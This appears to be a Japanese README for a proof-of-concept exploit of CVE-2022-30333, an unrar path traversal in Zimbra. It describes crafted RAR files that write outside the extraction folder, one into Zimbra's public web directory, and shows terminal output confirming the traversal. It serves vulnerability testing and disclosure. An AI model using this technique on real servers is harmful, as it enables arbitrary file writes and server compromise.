
CVE-2022-30333の概念実証エクスプロイト。Zimbraが使用するunrarにおけるパストラバーサル脆弱性であり、細工されたRARアーカイブを介した任意のファイル書き込みを実証します。
CVE-2022-30333 をテストするためのサンプルファイル
Sample.rar : Linux でテストしたい場合。展開すると、../../tmp/traversed に trav が作成されます。Sample.rar を展開する前に、ディレクトリ ../../tmp/traversed が存在することを確認してください。
exp.rar : Zimbra Mail サーバでテストしたい場合。展開すると、/opt/zimbra/jetty_base/webapps/zimbra/public/ に moo.txt が作成されます。このファイルには https://zimbra_mail_domain/public/moo.txt からアクセスできます。
mkdir ../../tmp/traversed (unrar の前に宛先フォルダが存在している必要があります)
ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
unrar x exp.rar
UNRAR 6.10 beta 1 freeware Copyright (c) 1993-2021 Alexander Roshal
Corrupt header is found
sym - the file header is corrupt
Extracting from exp.rar
Corrupt header is found
sym - the file header is corrupt
Extracting sym OK
Extracting sym/trav OK
Total errors: 4
ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu 14 Jul 4 02:34 trav
cat ../../tmp/traversed/trav
"traversed"